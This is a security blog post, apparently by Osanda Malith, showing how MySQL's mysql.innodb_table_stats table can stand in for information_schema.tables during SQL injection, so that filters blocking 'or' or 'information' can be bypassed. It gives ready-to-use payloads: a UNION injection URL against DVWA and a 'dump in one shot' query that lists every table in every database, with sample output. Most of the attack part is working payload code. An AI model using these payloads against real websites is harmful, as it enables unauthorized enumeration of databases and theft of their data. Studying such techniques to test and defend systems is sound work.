Overview
Starting from MySQL 5.5 and above the default storage engine was known as the InnoDB. In MySQL versions 5.5 and above if you do a āselect @@innodb_versionā you can see the version of the InnoDB, which is almost same as your MySQL version.
But in MySQL 5.6 and above I noticed 2 new tables by InnoDB. āinnodb_index_statsā and āinnodb_table_statsā. Both these tables contains the database and table names of all the newly created databases and tables.
The MySQL documentation explains these two tables as follows.
The persistent statistics feature relies on the internally managed tables in the mysql database, named innodb_table_stats and innodb_index_stats. These tables are set up automatically in all install, upgrade, and build-from-source procedures.
For injection purposes letās take the āinnodb_table_statsā table. Unfortunately InnoDB doesnāt store columns.
If you simply do āshow tables in mysqlā you can view this from your localhost.
If we have a look at the table we can see that we can use this as an alternative for āinformation_schema.tablesā.
select * from mysql.innodb_table_stats;
Injections
select table_name from mysql.innodb_table_stats where database_name=schema();
Example using DVWA
http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23
Dump in One Shot
Hereās the DIOS query which I made to dump all tables from all databases. You can modify this query to suit your needs. When injecting you may have to URL encode.
concat(0x404f73616e64614d616c6974680a, @@innodb_version ,0x0a,user(),0x0a, schema(), (select (@x) from (select (@x:=0x00), (@number:=0),(select (0) from (mysql.innodb_table_stats) where (@x:=concat(@x,0x0a,lpad(@number:=@number+1,2,0),0x2e20,database_name, 0x202d3e20 ,table_name,0x202d3e20 ,length(table_name)))))x))
@OsandaMalith
5.6.34
root@localhost
dvwa
01. dvwa -> guestbook -> 9
02. dvwa -> users -> 5
03. mysql -> npn -> 3
04. security -> emails -> 6
05. security -> referers -> 8
06. security -> uagents -> 7
07. security -> users -> 5
Conclusion
In real world scenarios Iāve came across websites where ā\or\iā is being filtered. In these cases we cannot use the word āinformationā since it contains the word āorā. If the InnoDB version is 5.6 or above and the current user can access the āmysqlā database then we can use this method to extract the tables names. The same can be applied to MariaDB as well.
Paper
- https://packetstormsecurity.com/files/140831/Alternative-For-Information_Schema.Tables-In-MySQL.html
- https://www.exploit-db.com/docs/41274.pdf
SQLi is often a cancerous topic, if you plan to copy or share please give credits to the author.
Nice post. This gives me an alternative method with injection while there are some filter rules about information.schema.tables~ And is there any method to retrieve column_name if there are some filter rules about information.schema.* ?